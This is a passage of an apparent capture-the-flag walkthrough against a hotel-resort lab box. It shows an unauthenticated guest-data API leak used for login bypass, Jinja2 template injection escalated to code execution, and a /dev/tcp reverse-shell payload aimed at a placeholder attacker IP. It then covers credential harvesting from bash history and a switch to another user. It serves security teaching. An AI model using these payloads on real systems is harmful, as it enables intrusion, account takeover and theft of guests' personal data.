&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is dead code (the minified bundle never actually calls &lt;code&gt;checkRoomStatus&lt;/code&gt;), but the sourcemap tells us the front-desk kiosk normally talks to an internal API at &lt;code&gt;/api/v1/rooms/status&lt;/code&gt;. Hitting it directly, with no session and no auth:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s1"&gt;'http://&amp;lt;MACHINE-IP&amp;gt;/api/v1/rooms/status?status=occupied'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"filter"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"occupied"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rooms"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"checkout"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-08-11"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"guest_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"room_number"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"occupied"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Standard Guest"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"checkout"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-08-13"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"guest_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"room_number"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"occupied"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"VIP Premium"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"total_records"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The endpoint has no authentication and no rate limiting, and returns all 100 occupied rooms with &lt;code&gt;room_number&lt;/code&gt; and &lt;code&gt;guest_name&lt;/code&gt; (last name), exactly the two fields the login form asks for. This is a broken access control / IDOR issue: an internal kiosk API was exposed on the same origin as the guest portal with no distinction in trust level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Login bypass via leaked guest data
&lt;/h2&gt;

&lt;p&gt;Picking an arbitrary entry (room &lt;code&gt;[REDACTED]&lt;/code&gt;, last name &lt;code&gt;[REDACTED]&lt;/code&gt;) and logging in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE-IP&amp;gt;/login'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'room_number=[REDACTED]'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'last_name=[REDACTED]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;302&lt;/span&gt; &lt;span class="ne"&gt;FOUND&lt;/span&gt;
&lt;span class="na"&gt;Location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/dashboard&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session=.eJxVjk0LgkAQhv_KNmcFM_rAW5ewmyTkIUK2dXQXXVd2Zw8h_ve2iKDTDC_PPPPOULcDdxIdZLcZGIUBzguBzkEER08SR1KCEzaMDMu56FmpuSW0rDJ2aFiuOhmXEwagUie1gvtyj6BRbhr4sx65Rsig5JZLdjEfa-fRhUczCImiN57qJvgDlSbpLk4O8XoTqFZZR3_3IQxdf9nXZo3R9ej1Ay1k230SAan3CtdzwQqLWnkNy_ICHbNNhg.ao2Bsg.xtUmaPOrplT2GjjTUiNhQsFy1fs; HttpOnly; Path=/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The session cookie is enough to reach &lt;code&gt;/dashboard&lt;/code&gt;, which now greets us as "[REDACTED]" in Room &lt;code&gt;[REDACTED]&lt;/code&gt;: full account takeover of a guest that was never authenticated by anything other than data the API itself leaked.&lt;/p&gt;

&lt;h2&gt;
  
  
  SSTI discovery on /profile
&lt;/h2&gt;

&lt;p&gt;The dashboard links to &lt;code&gt;/profile&lt;/code&gt;, which has a single editable field, &lt;code&gt;display_name&lt;/code&gt;, that's reflected straight back into the page ("Welcome Back, [REDACTED]!"). Reflected user input into a Flask app is worth testing for Jinja2 SSTI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE-IP&amp;gt;/profile'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'display_name={{7*7}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;HTTP/1.1 200 OK
...
&lt;span class="nt"&gt;&amp;lt;h5&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Welcome Back, 49!&lt;span class="nt"&gt;&amp;lt;/h5&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"49"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;{{7*7}}&lt;/code&gt; evaluated to &lt;code&gt;49&lt;/code&gt;, the field is passed straight into a Jinja2 &lt;code&gt;render_template_string&lt;/code&gt;-style call with no sanitization or sandboxing. This is a textbook server-side template injection.&lt;/p&gt;

&lt;h2&gt;
  
  
  First RCE attempt — failed (shell quoting, not a WAF)
&lt;/h2&gt;

&lt;p&gt;The obvious next step is breaking out to &lt;code&gt;os.popen&lt;/code&gt; through Jinja2's object graph. Two different gadget payloads were tried here, both wrapped in single-quoted &lt;code&gt;-d&lt;/code&gt; arguments containing embedded single quotes around identifiers like &lt;code&gt;'os'&lt;/code&gt; and &lt;code&gt;'id'&lt;/code&gt;. Both attempts came back as &lt;code&gt;HTTP/1.1 500 INTERNAL SERVER ERROR&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It's tempting to assume a WAF or input filter is stripping the payload, but that's not what's happening here: there's no WAF in front of this app at all. The actual bug is in the shell invocation, not the server.&lt;/p&gt;

&lt;p&gt;In POSIX shells, a &lt;code&gt;'&lt;/code&gt; always closes the currently open single-quoted string, there's no escaping inside single quotes. So bash/zsh parses a payload like this into several concatenated fragments, splitting apart wherever an internal &lt;code&gt;'&lt;/code&gt; appears:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'display_name={{config.__class__.__init__.__globals__[' + os + '].popen(' + id + ').read()}}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;os&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; are then evaluated as &lt;strong&gt;unquoted shell words&lt;/strong&gt;, not literal text. Since there's no &lt;code&gt;os&lt;/code&gt; or &lt;code&gt;id&lt;/code&gt; command/variable expansion that produces anything useful here, curl ends up sending a mangled body where the Python identifiers &lt;code&gt;os&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; are no longer inside quotes at all, from Jinja2's point of view that's a Python &lt;code&gt;NameError&lt;/code&gt; / syntax error (&lt;code&gt;os&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; are undefined names in that context), which the Flask app turns into the generic Werkzeug 500 page. &lt;code&gt;-d&lt;/code&gt; also sends the body completely raw with no URL-encoding, so nothing was normalizing the broken quoting either.&lt;/p&gt;

&lt;p&gt;The fix is to stop letting the shell tear apart the payload's internal quotes. Wrapping the argument in &lt;strong&gt;double quotes&lt;/strong&gt; (so the payload's single quotes survive literally) and switching to &lt;code&gt;--data-urlencode&lt;/code&gt; (so reserved characters like &lt;code&gt;{&lt;/code&gt;, &lt;code&gt;}&lt;/code&gt;, and spaces are sent correctly instead of raw) resolves it cleanly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Successful RCE via &lt;code&gt;--data-urlencode&lt;/code&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE-IP&amp;gt;/profile'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"display_name={{ lipsum.__globals__['os'].popen('id').read() }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;HTTP/1.1 200 OK
...
&lt;span class="nt"&gt;&amp;lt;h5&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Welcome Back, uid=33(www-data) gid=33(www-data) groups=33(www-data)
!&lt;span class="nt"&gt;&amp;lt;/h5&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"uid=33(www-data) gid=33(www-data) groups=33(www-data)
"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;lipsum&lt;/code&gt; is one of Jinja2's default globals (&lt;code&gt;{{ lipsum }}&lt;/code&gt; for generating placeholder text) and, like &lt;code&gt;cycler&lt;/code&gt;, exposes &lt;code&gt;__globals__&lt;/code&gt; even though it isn't wrapped by the sandbox the app clearly isn't using anyway. With the quoting fixed, &lt;code&gt;os.popen('id').read()&lt;/code&gt; executes server-side and confirms code execution as &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reverse shell
&lt;/h2&gt;

&lt;p&gt;With confirmed RCE, catching a shell with &lt;code&gt;penelope&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE-IP&amp;gt;/profile'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"display_name={{ lipsum.__globals__['os'].popen('bash -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER-IP&amp;gt;/4444 0&amp;gt;&amp;amp;1&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;').read() }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] [New Reverse Shell] =&amp;gt; 5ee06b607cca &amp;lt;MACHINE-IP&amp;gt; Linux-x86_64 👤 www-data(33) 😍️ Session ID &amp;lt;1&amp;gt;
[+] Agent deployed via /usr/local/bin/python3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@5ee06b607cca:/app/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;whoami
&lt;/span&gt;www-data
www-data@5ee06b607cca:/app/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Confirming we're inside a Docker container
&lt;/h2&gt;

&lt;p&gt;The shell prompt (&lt;code&gt;5ee06b607cca&lt;/code&gt;) is a container-ID-style hostname, not a normal host name, and the app root confirms it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@5ee06b607cca:/app/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ..
www-data@5ee06b607cca:/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;Dockerfile  app  docker-compose.yml  entrypoint.sh  requirements.txt  scripts  start.sh  supervisord.conf
www-data@5ee06b607cca:/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;Dockerfile
FROM python:3.10-slim-bullseye
...
RUN setcap &lt;span class="s1"&gt;'cap_net_bind_service=+ep'&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;readlink&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;which python3&lt;span class="si"&gt;))&lt;/span&gt;
RUN &lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /var/run/sshd
RUN &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/#PasswordAuthentication yes/PasswordAuthentication yes/'&lt;/span&gt; /etc/ssh/sshd_config
RUN &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/#PubkeyAuthentication yes/PubkeyAuthentication yes/'&lt;/span&gt; /etc/ssh/sshd_config
WORKDIR /app
COPY requirements.txt /app/
RUN pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--no-cache-dir&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
COPY &lt;span class="nb"&gt;.&lt;/span&gt; /app/
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN &lt;span class="nb"&gt;chmod&lt;/span&gt; +x /app/entrypoint.sh /app/scripts/setup_system.sh
EXPOSE 80 22
ENTRYPOINT &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"/app/entrypoint.sh"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the whole box is a single Docker container running Flask (via &lt;code&gt;supervisord&lt;/code&gt;), OpenSSH, and sudo, everything we're about to do from here on happens inside that container, there's no host/container pivot needed. This also explains the two different SSH banners from the nmap scan: port 22 belongs to the container's own sshd, port 2222 is a separate service on the outer host/hypervisor.&lt;/p&gt;

&lt;p&gt;App source, confirming the SSTI sink lives in the Flask route backing &lt;code&gt;/profile&lt;/code&gt; (&lt;code&gt;app.py&lt;/code&gt;) and that guest data is pulled from a local SQLite DB seeded at build time (&lt;code&gt;database.py&lt;/code&gt;, deterministically seeded with &lt;code&gt;random.seed(42)&lt;/code&gt;, which is exactly why the guest API dump above was reproducible/enumerable):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@5ee06b607cca:/app/app$ ls -la
-rw-rw-r-- 1 www-data www-data  4639 Aug 11 04:14 app.py
-rw-rw-r-- 1 www-data www-data  4300 Aug  9 22:30 database.py
-rw-rw-rw- 1 www-data www-data 24576 Aug  9 22:30 resort.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Local enumeration → password reuse
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@5ee06b607cca:/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd | &lt;span class="nb"&gt;grep &lt;/span&gt;bash
root:x:0:0:root:/root:/bin/bash
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash
www-data@5ee06b607cca:/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /home
david  george
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both &lt;code&gt;george&lt;/code&gt;'s and &lt;code&gt;david&lt;/code&gt;'s home directories are world-readable, and &lt;code&gt;george&lt;/code&gt;'s has a &lt;code&gt;.bash_history&lt;/code&gt; sitting there with &lt;code&gt;www-data&lt;/code&gt; permissions to read:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@5ee06b607cca:/home/george&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; .bash_history
&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www/app
...
&lt;span class="nb"&gt;cd&lt;/span&gt; /home/george
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; rsa &lt;span class="nt"&gt;-b&lt;/span&gt; 2048
&lt;span class="nb"&gt;cat&lt;/span&gt; .ssh/id_rsa.pub &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; .ssh/authorized_keys
&lt;span class="nb"&gt;chmod &lt;/span&gt;644 .ssh/id_rsa
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart ssh
...
su david
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;span class="nb"&gt;exit
history&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;
mysql &lt;span class="nt"&gt;-u&lt;/span&gt; david &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s1"&gt;'[REDACTED]'&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; 127.0.0.1 resort_db
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two findings here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;chmod 644 .ssh/id_rsa&lt;/code&gt;&lt;/strong&gt;: george made his own SSH private key world-readable (this is exactly the &lt;code&gt;user.txt&lt;/code&gt; flag's hint).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;su david&lt;/code&gt; / &lt;code&gt;[REDACTED]&lt;/code&gt;&lt;/strong&gt;: george typed david's &lt;code&gt;su&lt;/code&gt; password directly into the shell (it landed in history as its own line instead of being consumed by the password prompt), and the same password shows up again reused for MySQL. Classic password reuse across a shell login and a database account.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;george&lt;/code&gt;'s user flag is readable directly as &lt;code&gt;www-data&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@5ee06b607cca:/home/george$ cat user.txt
HSM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Privilege escalation → david
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@5ee06b607cca:/home/george&lt;span class="nv"&gt;$ &lt;/span&gt;su david
Password: 
david@5ee06b607cca:/home/george&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;david&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;david&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;david&lt;span class="o"&gt;)&lt;/span&gt;,4&lt;span class="o"&gt;(&lt;/span&gt;adm&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;david&lt;/code&gt; isn't in sudoers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;david@5ee06b607cca:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;david: 
Sorry, user david may not run &lt;span class="nb"&gt;sudo &lt;/span&gt;on 5ee06b607cca.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But &lt;code&gt;david&lt;/code&gt; is a member of the &lt;strong&gt;&lt;code&gt;adm&lt;/code&gt;&lt;/strong&gt; group, which on Debian/Ubuntu grants read access to most of &lt;code&gt;/var/log&lt;/code&gt;, including files that are &lt;code&gt;640 root:adm&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;david@5ee06b607cca:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/log
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 root adm     612 Aug 25 11:35 provisioning.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;david@5ee06b607cca:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; root /var/log
